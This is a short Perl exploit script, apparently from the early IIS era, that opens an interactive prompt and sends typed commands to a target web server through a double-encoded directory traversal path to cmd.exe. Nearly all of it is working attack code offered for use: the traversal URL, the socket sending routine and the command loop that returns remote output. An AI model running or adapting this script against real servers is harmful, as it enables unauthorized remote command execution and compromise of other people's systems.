#!/usr/bin/perl
# A. Ramos (aka dAb)
# 

use IO::Socket;

unless ($ARGV[0]) { print "$0 <server> [get]\n"; exit(1); }

$server=$ARGV[0];

$ARGV[1]="GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+" unless $ARGV[2];


sub send {
	$socket	= IO::Socket::INET->new(PeerAddr => $server,
					PeerPort => 80,
					Proto	 => "tcp",
					Type	 => SOCK_STREAM)
		or die "can't connect to: $server : $@\n";

   print $socket $ARGV[1].$command." HTTP/1.0\n\n\n\n";

	while(<$socket>) {
	 print;
	}
	close($socket);

}

while () {
print "issrules.sh> ";
	while(<STDIN>) {
	 $command=$_;
	 last;
	}

$command =~ s/\s/\+/g;
#$command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;

&send($command);

}

